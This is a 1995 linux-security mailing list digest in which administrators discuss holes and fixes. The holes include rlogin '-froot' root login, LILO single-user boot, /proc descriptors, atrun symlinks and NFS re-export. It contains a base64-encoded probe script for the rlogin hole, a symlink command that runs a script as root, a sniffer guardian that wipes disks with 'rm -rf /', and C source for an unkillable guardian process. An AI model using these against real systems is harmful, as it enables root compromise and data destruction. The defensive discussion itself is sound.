TGludXguDQojIChDYW4ndCBmaW5kIGEgTGludXggYm94IHRoYXQgc3RpbGwg aGFzIHRoZSBidWcpDQojDQojIFRlc3RlZCB1bmRlciBMaW51eCBvbmx5LiBZ b3VyIHJsb2dpbiBtYXkgY2hva2Ugb24gLWwgLWZyb290DQojIE1heSB0aGlu ayAtZnJvb3QgaXMgYSBjb21tYW5kIGxpbmUgcGFyYW1ldGVyLiBHZXQgTGlu dXgNCiMgcmxvZ2luIGFuZCBjb21waWxlLg0KIw0KIyBhZGQgdG8gY29uZmln L3BhdGhzLnNoDQojCVJMT0dJTj0vdXNyL2Jpbi9ybG9naW4NCiMJU0xFRVA9 L3Vzci9iaW4vc2xlZXANCiMNCiMgYWRkIHRvIHJ1bGVzL3RvZG8NCiMJJHNl cnZpY2UgZXEgImxvZ2luIiA8VEFCcz4gJHRhcmdldCAibG9naW4uc2F0YW4i DQojDQojIEFsZXBoIE9uZQ0KIyBhbGVwaDFAZGZ3Lm5ldA0KIyBhbGVwaDFA dW5kZXJncm91bmQub3JnDQojIGh0dHA6Ly91bmRlcmdyb3VuZC5vcmcvDQoN Ci4gY29uZmlnL3BhdGhzLnNoDQoNCiMgdXNlZCBpbiBmaW5hbCBvdXRwdXQN CnRhcmdldD0kMQ0Kc2VydmljZT1gJEJBU0VOQU1FICQwIHwgJFNFRCAncy9c Li4qJC8vJ2ANCnN0YXR1cz0iYSINCg0KY2FzZSAkIyBpbg0KICAgIDEpIHRh cmdldD0kMTs7DQogICAgKikgJEVDSE8gVXNhZ2U6ICQwIHRhcmdldCAxPiYy OyBleGl0IDE7Ow0KZXNhYw0KDQojIG5lZWQgdGhlIEMgcHJvZ3JhbS9leGUg dG8gZG8gdGhlIHJlYWwgd29yazoNCmlmICRURVNUICEgLWYgIiRSTE9HSU4i IDsgdGhlbg0KCWV4aXQgMQ0KCWZpDQoNCmlmICggJFNMRUVQIDMwIDsgJEVD SE8gfi4gKSB8ICRSTE9HSU4gLWwgLWZyb290ICR0YXJnZXQgMj4gL2Rldi9u dWxsIHwgJEdSRVAgIkxhc3QgbG9naW4iID4gL2Rldi9udWxsIDsgdGhlbg0K CXNldmVyaXR5PSJycyINCgl0cnVzdGVlPSJVU0VSQCR0YXJnZXQiDQoJdHJ1 c3RlZD0iQU5ZQEFOWSINCglzZXJ2aWNlX291dHB1dD0iTE9HSU4gYnVnIg0K CXRleHQ9ImxvZ2luIC1mcm9vdCBpcyB2dWxuZXJhYmxlIHRvIHRoZSB3b3Js ZCINCmVsc2UNCglzZXZlcml0eT0iIg0KCXRydXN0ZWU9IiINCgl0cnVzdGVk PSIiDQoJc2VydmljZV9vdXRwdXQ9IiINCgl0ZXh0PSJsb2dpbiAtZnJvb3Qg aXNuJ3QgdnVsbmVyYWJsZSINCglmaQ0KDQokRUNITyAiJHRhcmdldHwkc2Vy dmljZXwkc3RhdHVzfCRzZXZlcml0eXwkdHJ1c3RlZXwkdHJ1c3RlZHwkc2Vy dmljZV9vdXRwdXR8JHRleHQiDQoNCiMgdGhhdCdzIGFsbCBmb2xrcy4uLg0K - --1435141361-2986965-798926316=:11428-- [Mod: For those that may be late-comers to Linux, Linux (and AIX) shared a particularly nasty hole for awhile in that you could log in (at the console or remotely) using "-fusername" and not be prompted for a password--this applied to the root account as well. This problem was announced in a CERT advisory (CA-94:09; May 23, 1994; message-id: <[email protected]>). This is one of the most serious security holes that has been publicly acknowledged in Linux since its adoption in "mainstream" circles, though most networked systems, and all major distributions, have since plugged this hole (as the author sort of indicates). --Jeff.] ------------------------------ From: "David A. Blankenship" Date: Tue, 25 Apr 1995 08:49:18 -0400 Subject: LILO hole [mod: Although the issue of subverting Linux by tweaking the boot sequence has been discussed several times and the hole described below is in fact a lilo feature described in the manual, I'm approving this because there still seems to be some uncertainty among users on how to cope with this. The method described below in combination with a BIOS password should protect you from the more trivial types of attacks, I believe. --okir] It seems that there is a rather amusing security hole in lilo. If you enter 'linux single' at the boot prompt it boots linux single user. Doesn't ask for a password or anything. Of course it also mounts the hard drive read-only, but its very easy to remount it read/write. Fortunately this is easy to fix. Just put a line in /etc/lilo.conf password=your_password and reinstall lilo. This will ask you for a password any time you boot up on any OS. If you don't like that, you can put the word 'restricted' in front of the label of the OS you don't want password protected. Then it will only ask for a password if you try to put 'single' (or any other parameters) after the name at boot up. I'm not sure how many versions of lilo this affects, but it's worked on every one I've tried so far. I don't know about any of the other distributions, but Slackware doesn't say anything about password protecting lilo so any system with the default slackware distribution should be vulnerable. This is actually a pretty handy feature as long as you have it passworded. Oh, and if you do put the password line in lilo.conf make sure lilo.conf isn't world readable (there's no reason it should be) or everyone will be able to see your password. ============================================================================= "God is dead" | --Nietzsche | | David A. Blankenship ==\/== "Nietzsche is dead" | [email protected] --God | ------------------------------ End of linux-security-digest V1 #19 *********************************** linux-security-digest/1995/v01.n020100664 1767 1767 32037 5754340201 16045 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #20 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Thursday, 11 May 1995 Volume 01 : Number 020 Re: LILO hole Proposal - Linux security package and howto Not just "sniffers" Re: Security problem in proc fs linux nfsd ---------------------------------------------------------------------- From: Jon Green Date: Thu, 27 Apr 1995 22:20:26 -0500 Subject: Re: LILO hole [mod: Questions on where to get sulogin to the author, please. Quoting trimmed. --okir] > It seems that there is a rather amusing security hole in lilo. If you >enter 'linux single' at the boot prompt it boots linux single user. Doesn't >ask for a password or anything. Of course it also mounts the hard drive >read-only, but its very easy to remount it read/write. Actually, this is pretty simple to fix. I have this in /etc/inittab: # Shell to run in single user mode. su:S:wait:/sbin/sulogin And from the handy man pages: SULOGIN(8) SULOGIN(8) NAME sulogin - Single-user login SYNTAX sulogin [ tty-device ] DESCRIPTION sulogin is invoked by /etc/init prior to allowing the user access to the system when in single user mode. This fea- ture may only be available on certain systems where init has been modified accordingly, or where the /etc/inittab has an entry for a single user login. The user is prompted Type control-d for normal startup, (or give root password for system maintenance): - -Jon - ---------------------------------------------------------------------------- * Jon Green * LINUX! * 3014 West St.#3 * * [email protected] * The Choice of a GNU Generation * Ames, Iowa 50014 * * Jon2@IRC * http://www.fire.com/~jcgreen * Phone (515) 296-1567 * - ---------------------------------------------------------------------------- ------------------------------ From: Bob Bagwill Date: Wed, 03 May 95 11:05:03 -0400 Subject: Proposal - Linux security package and howto Hi folks, I recently gave away my xterminal and sparcstation and converted 100% to Linux. I noticed that a lot of security-related software was missing from the distribution I used. I would like to see a package of essential software for Linux security. Particular distributions tend to include some of the components, but not others. It might be useful to have a server package, which is appropriate for a multi-user, multi-purpose Linux system, and a desktop package for a single-user system. I'd also like to see accompaning howto's. To get the ball rolling, here is some software I had to obtain for my single-user desktop box: anon-ftpd-0.7 - to permit worry-free ftp cops_104 - to check for config problems, needs to be improved for Linux pgp262s - to send and receive confidential email, and to secure integrity info rsaref - for pgp sendmail.8.6.12 - needed for latest security bug fixes, could be replaced by simpler SMTP agent skey-2.2 - to login to firewall system xautolock.pl10 - to lock the screen when I leave my desk lsof_3.23 - to check for suspicious processes md5 - to create and check digital signatures chrootuid - to chroot WWW daemons What other software would you suggest? I'd like to see a problem -> solution format. - -- Bob Bagwill [Mod: Please direct replies to the author. Bob, could you post a summary of replies (i.e. software, problem -> solution, etc.)? This could be a good thing for inclusion in the FAQ that Alexander Yuriev is working on. --Jeff.] ------------------------------ From: "Alexander O. Yuriev" Date: Wed, 3 May 1995 01:35:46 -0400 (EDT) Subject: Not just "sniffers" [This is not really just about Linux but ...] Couple of weeks ago I received a call from a company that could not figure out what was going on with their Unix systems. They had found out that their systems were invaded and were doing some cleaning. Anyway, as usually, after systems were penetrated attackers installed sniffers on them. The thing that made it different from any old-style attack was that killing a sniffer resulted in "rm -rf /*" being executed. Every time a sysadmin was killing running sniffer system disk was getting viped. Here's what I found out: the sniffer was guarded by another process running with a name (hold your breath) rpc.ugidd. Here's the way SOBs work: a) intruder places rpc.ugidd into the rc.local b) when rpc.ugidd starts it forks a child and get parents pid. c) parent tests that child is alive by sending and then receiving a signal, and after a sucessful "handshake" parent replaces itself with the actual code of a sniffer. d) forked child tests if a sniffer is running, and if it is not executes ("rm -rf /") and sends SIGSEGV to process 1 The obvious way to kill SOB is to send a kill to guardian process and then kill a sniffer. The following code is something I wrote yesterday (instead of writing my paper that is due in less then 9 hours ;-(. The code is a framework of what can be done to create "immortal" guardian. There are two reasons for it: 1) I want everybody to be aware of the fact that such programs exist 2) This is a good start for a guardian of automated procedures that people run on their systems. 3) You may find a way to break protection that I did not think of. If you find program like this running on your system, remember: you need to find all parts of it *before* killing it, otherwise it can fight you back. NEVER use SIGKILL to stop a process like that - if there's a chance that there are two guardians that guard each other, sending KILL signal can and probably will triger the respose. The best way to do is to send SIGSTOP to all running parts of program (which would suspend processes but won't allow monitors to detect that guarded process is suspended). After that you can safely use SIGKILL to finish them (the only problem is that it does not work in all cases). - - doubleguard.c - /* Doubleguard.c is (C) 1995 Alexander O. Yuriev #include #include #include void vNewProcess(pid_t *, pid_t *); void realMain(void) { pid_t pidtItself; pid_t pidt2Guard; pid_t pidtTemp; pidtItself = getpid(); vNewProcess(&pidtItself,&pidt2Guard); while(1) { if (fProcessAlive(pidt2Guard) == 0) vNewProcess(&pidtItself,&pidt2Guard); } } void vNewProcess(pid_t *pidtItself, pid_t *pidt2Guard) { *pidt2Guard = fork(); if (*pidt2Guard == (pid_t) -1) { fprintf(stdout,"\nUnable to fork() a child!\n"); exit(0); } else if (*pidt2Guard == (pid_t) 0) { *pidtItself = getpid(); *pidt2Guard = getppid(); signal(SIGCLD,SIG_IGN); } } int fProcessAlive(pid_t pidtProcess) { if (kill(pidtProcess,0) == 0) return 1; return 0; } void deattach(void) { pid_t pidtNewMain; pid_t pidtParent; unsigned i; fprintf(stdout,"\nDe-attaching main control process"); if ((pidtNewMain = fork()) == - 1 ) { fprintf(stderr,"\nUnable to deattach main process\n"); perror("deattch() failed"); exit(-1); } else if (pidtNewMain == 0) { fprintf(stdout,"\nNew Process created... "); fprintf(stdout,"Determining parent PID..."); pidtParent = getppid(); fprintf(stdout,"PID is %u... ",(unsigned) pidtParent); fprintf(stdout,"Now killing parent..."); if (kill(pidtParent,SIGKILL)) { fprintf(stdout,"Hmm.. Can't kill parent. Initiating termination sequence..."); fprintf(stdout,"Child exited..."); exit(1); } else { fprintf(stdout,"Deattach completed."); realMain(); } } sleep(2); fprintf(stdout,"\nParent exited by itself. Probably unsuccessful deattach\n"); exit(0); } void main(void) { signal(SIGCLD,SIG_IGN); deattach(); } - - - - ============================================================================= CIS Laboratories email: [email protected] TEMPLE UNIVERSITY [email protected] USA Tel: 1-800-DEV-NULL http://bach.cis.temple.edu ============================================================================= [Mod: Not strictly Linux-specific, but it can affect Linux systems pretty horribly. We've already had some talk about rpc.ugidd here, so this also fits in somewhat with that topic. I've not really looked at Alex's code segment yet, so please don't assume that approval of this to the list also means "approval" of the code. --Jeff.] ------------------------------ From: [email protected] (Ian Jackson) Date: Sun, 7 May 95 13:53 BST Subject: Re: Security problem in proc fs (Crossposted to linux-security as well as linux-kernel.) Peter Alban writes ("Security problem in proc fs"): > I think I found a BIG security bug in the proc file system. > The permission and ownerships for the file descriptor entries in the fd > subdirectories are wrong. > The permission for such a file are (if the file was opened O_RDWR) readable > and writable for all processes with the same euid as the process which owns > these file descriptor CURRENTLY has. > eg: A suid program which opened /dev/mem (O_RDWR) and later does a > 'seteuid(getuid())' (like every svgalib program) allows every user to > clone a read and writable fd to /dev/mem. I have reproduced this and it is a security hole. It should be fixed urgently. Unfortunately I'm not competent enough as a kernel hacker to do so. > I think a file descriptor entry in the proc fs should have the same owner > (uid) and group (gid) as the inode which belong to the descriptor. ( if this > field has a meaningful value -- in socket inodes these fields are always > zero ) and the permissions should be a mix of the permission of the inode and > the permissions of the file descriptor. (the directory is only read and > searchable for processes with the same euid) No. This is the *wrong* thing to do. The permissions and ownerships of the file referred to by the file descriptor are not really relevant here (even if they can be determined). Access to /proc/.../fd should be allowed iff the process doing the access would be allowed to ptrace the process being accessed. Clearly restricting the use of /proc/.../fd any more would be futile, as the `attacker' could just ptrace the process owning the descriptor and access it that way. Restricting the use of /proc/.../fd any less is very dangerous, because it allows a user to attack (for example) a set-uid program in a way that breaches the usual assurances that the kernel gives to priveliged programs that their operation will not be interfered with. File descriptor integrity is one of these key assurances that setuid programs, daemons and so on rely on. I have said this before. I'm disappointed that I'm having to say it again. Ian. ------------------------------ From: Aleph One Date: Tue, 9 May 1995 00:52:31 -0500 (CDT) Subject: linux nfsd Though this would be of interest. Sorry, I usually try this stuff before I post, but I dont have more than one machine in which to test at the moment. So someone else will have to look into it. a1 - ---------- Forwarded message ---------- Date: Mon, 8 May 1995 10:01:39 -0500 From: robert owen thomas To: "Dr. Frederick B. Cohen" , Mike Neuman Cc: [email protected] Subject: and now, back to your regularly scheduled discussion topic... ObBug: i have recently discovered that it is possible to re-export an imported filesystem under Linux. to illustrate: hostA --> exports /usr/share to -access=hostB hostB --> a linux box. re-exports /usr/share to everyone hostC --> not implicitly trusted by hostA, mounts /usr/share aside from any security concerns, this would certainly thrash your nfsd's. does anyone have any experience with this? i have only recently discovered this, and have not had time to peruse it in depth. regards, - --robert - -- o robert owen thomas: Unix consultant. Big Brother. user scratching post. o o e-mail: [email protected] --or-- [email protected] o o vox: 708.632.5768 fax: 708.632.5694 o o -- System Administrator's Dictionary -- o o user (you'zer) n. 1 A waste of system resources; an unwanted load o o on the processor(s) of a Unix system. 2 Someone who uses Caps Lock. o ------------------------------ End of linux-security-digest V1 #20 *********************************** linux-security-digest/1995/v01.n021100664 1767 1767 34204 5760311202 16040 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #21 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Tuesday, 23 May 1995 Volume 01 : Number 021 Re: LILO hole CFS IP Firewalling docs? Re: Proposal - Linux security package and howto Re: Proposal - Linux security package and howto Re: linux nfsd Re: linux nfsd Explanation of sudden burst of list traffic. Re: Proposal - Linux security package and howto Securing the console of a linux system, given a secure boot ---------------------------------------------------------------------- From: Andrew Hughes Date: Wed, 3 May 1995 10:27:54 -0700 (PDT) Subject: Re: LILO hole > > Actually, this is pretty simple to fix. I have this in /etc/inittab: > > # Shell to run in single user mode. > su:S:wait:/sbin/sulogin > That's very nice, but it seems to me that this is just another demo of the fact that if someone can get to your console long enough, they can break your machine. If you have sulogin and all such, that's very nice, but I'll bet that 90%+ of the Linux boxes out there can be trivially rebooted with a floppy, at which point I mount your harddrive and have at it. Not really a hole, just a fact of life. You've got to keep the machine physically secure from people yuo don't trust. AndrewH [Mod: There have been quite a few "beating a dead horse" submissions to the list regarding things like hacking root by booting from a floppy and mounting the hard drive. This sort of thing is a well-known vulnerability with PC's, and though you can try protecting yourself from it by reordering the boot sequence, adding a BIOS password, etc., there's no real *sure-fire* way to protect yourself from people that have physical access to your machine(s)--it's just an ugly fact. Please let's let this thread die... --Jeff.] ------------------------------ From: alex Date: Wed, 10 May 1995 01:24:43 -0400 (EDT) Subject: CFS Did anybody manage to compile CFS (Crypt File System) under Linux? Does it work at all? Is it stable? Best wishes, Alex ============================================================================= CIS Laboratories email: [email protected] TEMPLE UNIVERSITY [email protected] USA Tel: 1-800-DEV-NULL http://bach.cis.temple.edu ============================================================================= [Mod: I think I may have seen mention of this somewhere on here, but I'm probably just hallucinating e-mail now... Please send replies directly to Alex; he'll be including the information in the in-the-works Linux Security FAQ. Thanks much! --Jeff.] ------------------------------ From: Bob Snyder Date: Fri, 5 May 1995 11:27:40 -0400 (EDT) Subject: IP Firewalling docs? Does anyone know of any good docs on the IP firewalling code? I know what packet filtering is, I own and have read Cheswick & Bellovin's _Firewalls and Internet Security_, and I've set up packet filters for other platforms, but I'm a bit confused about the 3 different sets of rules. I can guess the accounting rules are used only to count packets, but which packets do forwarding and firewalling trip on? Which one (or both) applies to the linux box itself? What order are they applied in? Bob [Mod: Please reply to the author. Also, please note that the linux-net list at vger.rutgers.edu is probably a better overall forum for questions and discussions related to the firewalling code (so please let's not develop this into a thread here). --Jeff.] ------------------------------ From: [email protected] (Alan Cox) Date: Sat, 6 May 1995 20:32:21 +0100 (BST) Subject: Re: Proposal - Linux security package and howto > I would like to see a package of essential software for Linux > security. Particular distributions tend to include some of the > components, but not others. It might be useful to have a server package, > which is appropriate for a multi-user, multi-purpose Linux system, and > a desktop package for a single-user system. I'd also like to > see accompaning howto's. Its hard to do this for various reasons. > To get the ball rolling, here is some software I had to obtain for > my single-user desktop box: > > anon-ftpd-0.7 - to permit worry-free ftp My distribution came with wuftpd-2.4 which I believe is secure (please tell me if I am wrong) > cops_104 - to check for config problems, needs to be improved for Linux Yes.. also tripwire and the tripwire config for the standard distribution > pgp262s - to send and receive confidential email, and to secure integrity info > rsaref - for pgp Both cause hassle due to US ITAR regulations > xautolock.pl10 - to lock the screen when I leave my desk Not safe because Linux has CTRL-ALT-BS and screen switching. ------------------------------ From: Bob Bagwill Date: Mon, 08 May 1995 08:32:40 -0400 Subject: Re: Proposal - Linux security package and howto - -----BEGIN PGP SIGNED MESSAGE----- Content-Type: text/plain; charset="us-ascii" Alex [paraphrased] said: > > anon-ftpd-0.7 - to permit worry-free ftp > > This is not included in FAQ and I'd not recommend this program. We had > several reports from companies that were using it that sometimes systems > that run anon-ftpd suddenly freeze (SunOS, Solaris, OSF/1, BSD 4.3) That may be. In any case, a simpler ftpd would be nice to have. Users often set up anonymous FTP wrong, and the wu-ftpd's configurability is a two-edged sword. > > rsaref - for pgp > > Please notice that neither pgp nor rsaref can be included into any of > linux distributions due to USA (stupid, IMHO) export/import regulations. > Having a court case against Phill goin on right now, no one in the right > mind would risk. That's OK. Although a physical security package would be nice, a virtual one consisting of what to get, and how to install it, would be almost as useful. Also, we could have a US version on a US machine, and a non-US version elsewhere, which would be identical except for the source of the encryption software. > > skey-2.2 - to login to firewall system > > Included in FAQ. I'm still trying to figure out who has a reasonable > patches to combine skey with shadow. Also, skey is not a login to a > firewall system - this is just a one time password authenticator/ That's true, but many firewalls seem to be using s/key for their authenticator for external access. > > lsof_3.23 - to check for suspicious processes > Does not work with Linux (yet?). The version I have seems to work. > > chrootuid - to chroot WWW daemons > I'm not familiar with this one unless you mean just chroot. Chrootuid is a little wrapper you use to invoke the daemons which do not chroot themselves. Actually, most can or do, but you may not trust that they do it correctly. - - -- Bob Bagwill Bob Bagwill - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQBVAwUBL64PZy3LE4ASJ+zxAQEvjAIAvDKg/nKjQ7gNBVsElFYj/ed9OOw/TZLH EKFjNil8nV7facIC94tbO9nURm2j62qSCEKWZkbVFip1fEelDn19EQ== =O6Tj - -----END PGP SIGNATURE----- ------------------------------ From: alex Date: Wed, 10 May 1995 19:22:00 -0400 (EDT) Subject: Re: linux nfsd Hello, > ObBug: i have recently discovered that it is possible to re-export an > imported filesystem under Linux. to illustrate: > > hostA --> exports /usr/share to -access=hostB > hostB --> a linux box. re-exports /usr/share to everyone > hostC --> not implicitly trusted by hostA, mounts /usr/share > > aside from any security concerns, this would certainly thrash your nfsd's. > does anyone have any experience with this? i have only recently discovered > this, and have not had time to peruse it in depth. I do not think that there's a security problem here. When hostA exports /usr/share to hostB /usr/share becomes a part of hostB's filesystem. Now this is not of hostA's business to know/limit what hostB does to parts of its filesystem. Best wishes. Alex ============================================================================= CIS Laboratories email: [email protected] TEMPLE UNIVERSITY [email protected] USA Tel: 1-800-DEV-NULL http://bach.cis.temple.edu ============================================================================= ------------------------------ From: Aleph One Date: Wed, 10 May 1995 18:46:39 -0500 (CDT) Subject: Re: linux nfsd Actually it is againts the NFS especification adn if not done right can cause server lockups. But anyway I just found that linux does not do it by default, you need to use the -r option to have it do it. a1 On Wed, 10 May 1995, alex wrote: > I do not think that there's a security problem here. When hostA exports > /usr/share to hostB /usr/share becomes a part of hostB's filesystem. Now > this is not of hostA's business to know/limit what hostB does to parts of > its filesystem. [Moderator's FYI, from the man-page on nfsd(8): -r or --re-export Allow imported NFS file-systems to be exported. This can be used to turn a machine into an NFS mul- tiplier. Caution should be used when re-exporting loopback NFS mounts because re-entering the mount point will result in deadlock between the NFS client and the NFS server. - --Jeff.] ------------------------------ From: Jeff Uphoff Date: Tue, 16 May 1995 04:46:28 -0400 Subject: Explanation of sudden burst of list traffic. The sudden overnight (it's well past 4 AM here) burst in list traffic was just me cleaning house and catching up on some lesser-priority back posts. I also sent out quite a few "rejection" notes for other submissions, and now appear to finally be caught up. (Phew! I've been busy of late and also out of town some for DECUS and NRAO conferences/meetings. Olaf's been busy as well, and had the Berlin conference to prepare for.) Don't worry though...this does not signal a return to heavy traffic on this list--things have been quite light overall lately, even taking this quick blizzard into account. If you submitted a post and neither received a note in reply nor saw it appear on the list, drop an e-mail to owner-linux-security and either Olaf or I can try to dig up the post in question and figure out why it wasn't approved (or officially rejected). In the way of general FYI's (for newcomers or for those that may have a tendency to lose track of things like I do): Alex Yuriev has been working a good bit lately on getting a security FAQ put together for Linux (it's still in a relatively early stage of development). Some info pointers for this are: http://bach.cis.temple.edu/linux/linux-security ftp://linux.nrao.edu/pub/linux/security/FAQ/updates Olaf has been steadily working on improving the NFS server. The latest version is 2.2alpha6 and is available at: linux.nrao.edu:/pub/people/okir/nfsd or fb0433.mathematik.th-darmstadt.de:/pub/linux/okir. Dane Jasper has a nice hypermail WWW gateway set up for browsing the linux-security and linux-alert list archives. Base URL is: http://www.sonic.net/hypermail. I know there were a couple of other things that I wanted to mention, but I'm dead tired and going to bed! - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ ------------------------------ From: [email protected] Date: Tue, 16 May 1995 08:21:31 -0400 Subject: Re: Proposal - Linux security package and howto > xautolock.pl10 - to lock the screen when I leave my desk Not safe because Linux has CTRL-ALT-BS and screen switching. This can easily be turned off in the XF86Config file. ------------------------------ From: Nigel Metheringham Date: Tue, 16 May 1995 18:30:20 +0200 Subject: Securing the console of a linux system, given a secure boot We run a set of PCs here that are net booted using bootp via a ROM on the net card [the specific one is Dirk Koppen's TCP/IP boot ROM]. Currently we boot them into DOS/Windows. This boot ROM has the capability to disallow floppy booting and since these machines have no hard drive in them it is difficult to boot them other than off the network. I have experimented with some success with a method of booting Linux across the network using an NFS mounted root partition, and think I could get this working successfully for a lab of machines (experiments were done with a single slightly differently configured system]. The intention is to run the systems as X terminals with the local Sun servers supporting them using Xdm. [There will be an alternative boot config to the current DOS/Windows setup - shame! - the boot ROM supports a choice from a menu of boot images] Given this sort of setup, can anyone see any major hole which our students could march through and thus get root access on the network (those machines have filesystem access for their DOS/Windows PC/NFS configuration). Or to rephrase the same question. If I can basically boot the system securely, and a halt/reboot is caught securely, can a linux console be made/considered secure? Nigel. [before I get a flood of queries, I am intending to write up how we netboot linux to a diskless system. when I do so I'll either copy it to, or put a pointer to the announce list] - - Nigel Metheringham -- EMail: [email protected] [email protected] - - - System Administrator, Electronics Dept, University of York, York YO1 5DD - - - Tel: +44 1904 432374, Fax: +44 1904 432335 | PGP key available from WWW - - - WWW: http://www.amp.york.ac.uk/~nm4/ | - [Mod: Please reply to author. Nigel, could you post a summary of any decent responses you get regarding the Linux-booting portion and any security issues it raises (or solves)? This is an interesting twist to the long-standing problem of securing a Linux console. --Jeff.] ------------------------------ End of linux-security-digest V1 #21 *********************************** linux-security-digest/1995/v01.n022100664 1767 1767 53233 5762737230 16063 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #22 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Tuesday, 30 May 1995 Volume 01 : Number 022 switching symlinks on atrun Re: Proposal - Linux security package and howto [SUMMARY] Securing the console of a linux system, given a secure boot Re: switching symlinks on atrun Re: switching symlinks on atrun Re: Proposal - Linux security package and howto NFS re-export and more Should root own binaries? Re: skey + shadow-3.3.1 logins Re: switching symlinks on atrun Wu-ftpd. Re: Wu-ftpd. ---------------------------------------------------------------------- From: [email protected] (Thomas Koenig) Date: Wed, 24 May 1995 14:16:52 +0200 (MET DST) Subject: switching symlinks on atrun A mention on bugtraq just made me aware of a potential problem with at/atrun: /var/spool/atrun is owned by a non - root userid, usually bin. If somebody broke into bin, he could then execute a shell script owned by root with root permissions, via a ln -s /bin/rootscript /var/spool/atrun/jobname with potentially fatal consequences. I see two possibilities to counter this: - - put a 'signature' into an at file, i.e. have it start with #!/bin/sh # atrun user=20 group=30 Let atrun abort if the numeric userid and groupid on the script don't match the numbers on the file. I'm currently working on this. - - Check wether we're currently trying to execute a symbolic link. This is hard to get right without races, and I'd like opinions on that. What I'm currently thinking of is: fd = open(atrunfile, O_RDONLY); fstat(fd,&buf); lstat(atrunfile,&lbuf); if (S_ISLINK(lbuf.st_mode)) { /* abort and general mayhem here - somebody is trying to trick * us into executing a symbolic link */ } if ((lbuf.st_dev !=buf.st_dev ) || (lbuf.st_ino !=buf.st_ino) || (lbuf.st_uid !=buf.st_uid ) || (lbuf.st_gid !=buf.st_gid) || (lbuf.st_size!=buf.st_size)) { /* Apparently, somebody changed the file from under us between * the fstat and lstat calls. DANGER! */ } ... pass the file descriptor fd to /bin/sh as stdin Question is: is the second if a secure test, or can anybody think of conditions where a cracker might get get past it? The best solution would be to find out, via the lstat call, wether the open actually refereed to a symbolic link. Alternatively, being able to specify a O_NONSYM flag to the open call would also help. Comments? - -- Thomas Koenig, [email protected], [email protected]. The joy of engineering is to find a straight line on a double logarithmic diagram. ------------------------------ From: [email protected] (Marc A. Tamsky) Date: Tue, 16 May 95 18:02:17 PDT Subject: Re: Proposal - Linux security package and howto I can only find the quote, and not the author of: > I'm still trying to figure out who has a reasonable > patches to combine skey with shadow. I've got a set I have already submitted to the Shadow-suite author . Please ask me for the patches, rather than bothering John. - -- | Marc Tamsky -- [email protected] - Linux, the choice of generation-GNU. | Protect your rights: learn, use, and practice safe encryption. [Mod: This is a follow-up to a much earlier thread. I'm forwarding it to the list for general informational purposes. --Jeff.] ------------------------------ From: Nigel Metheringham Date: Thu, 25 May 1995 12:31:40 +0200 Subject: [SUMMARY] Securing the console of a linux system, given a secure boot Hi, The original query asked if, given a system that couldn't have the boot intercepted or modified, a Linux system could be considered/made secure. Then to muddy the issue I described our PC boot setup where the DOS side of things is based on netbooted PC/NFS. Rather than include long extracts I am going to summarise the responses - and my summaries are rather brutal! If someone feels I am misrepresenting them please contact me and I'll try to redress that - its not intentional! Basically, on the linux side, the consensus was that if the boot could be secured - ie a user cannot boot from floppy - then the system is as secure as a general Unix system. An NFS mounted root could be vulnerable to external hacking - best exported read-only. However having the PCs also able to boot into DOS with PC/NFS opens up a new can of worms. PC/NFS can be hacked - and thats difficult to plug. The suggestion of loading a linux up using loadlin or similar was also mentioned - - this is obviously possible (but in our case needs some work doing since loadlin and its friends cannot handle the PCs memory map without managing to crash the system as it loads the image - however clever programming would easily defeat this). A lot of things boiled down to the fact that NFS security relies on trust between the server and client. PCs (under DOS) are not trustable, and so the whole system falls apart as soon as a PC with DOS is trusted. With current protocols a system which has no memory protection cannot be made trustworthy. Other suggestions included physically disconnecting the system and spoofing with an external system - yes that can be done, its not a problem unique to this setup (managed 10BaseT hubs should help here, but if you change the hardware address of the card things get interesting). It appears that the addition of linux into the equation does not degrade security at all from our current setup. Removing DOS would enhance security (and of course be the morally right thing to do :-) ). Thanks to the following people who responded to my original request:- "Alvaro M. Echevarria" "Steve \"Stevers!\" Coile" Jack of all trades Yossi Gottlieb [email protected] (Alan Cox) [email protected] (Ian Jackson) [email protected] (Josef Leydold) If you want to add to this I suggest you send comments to me - if there is a set of these then I will pass them on to the list. Alternatively if its a new thread derived from this then take it on to the moderators. Nigel. - - Nigel Metheringham -- EMail: [email protected] [email protected] - - - System Administrator, Electronics Dept, University of York, York YO1 5DD - - - Tel: +44 1904 432374, Fax: +44 1904 432335 | PGP key available from WWW - - - WWW: http://www.amp.york.ac.uk/~nm4/ | - ------------------------------ From: [email protected] (Thomas Koenig) Date: Thu, 25 May 1995 11:29:23 +0200 (MET DST) Subject: Re: switching symlinks on atrun > > > /var/spool/atrun is owned by a non - root userid, usually bin. > > > > If somebody broke into bin, he could then execute a shell script > > owned by root with root permissions, via a > > But lots of things are owned by bin. /bin/sh is probably owned by bin. > If you have bin, you can get root, at or no at. Ugh... they should not be. Unless some system binary needs to be setuid to a particular userid, it should ALWAYS be owned by root, for exactly this reason. - -- Thomas Koenig, [email protected], [email protected]. The joy of engineering is to find a straight line on a double logarithmic diagram. ------------------------------ From: [email protected] (Michael Shields) Date: Thu, 25 May 1995 03:16:08 +0000 (GMT) Subject: Re: switching symlinks on atrun > /var/spool/atrun is owned by a non - root userid, usually bin. > > If somebody broke into bin, he could then execute a shell script > owned by root with root permissions, via a But lots of things are owned by bin. /bin/sh is probably owned by bin. If you have bin, you can get root, at or no at. - -- Shields. ------------------------------ From: [email protected] (Panzer Boy) Date: 24 May 1995 22:16:09 -0400 Subject: Re: Proposal - Linux security package and howto : > I'm still trying to figure out who has a reasonable : > patches to combine skey with shadow. ftp.dhp.com:/pub/crypto/skey/ It's md4 skey, but it works fine. I haven't had time to incorporate md5, and basically the logdaemon version into it yet. - -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." ------------------------------ From: [email protected] (Olaf Kirch) Date: Thu, 25 May 1995 16:38:43 +0200 (MET DST) Subject: NFS re-export and more Hi all, Sorry for being so late in picking up this thread, but I've been buried under a pile of work. The NFS re-export problem is actually two-fold. On one hand, if machine B exports directory 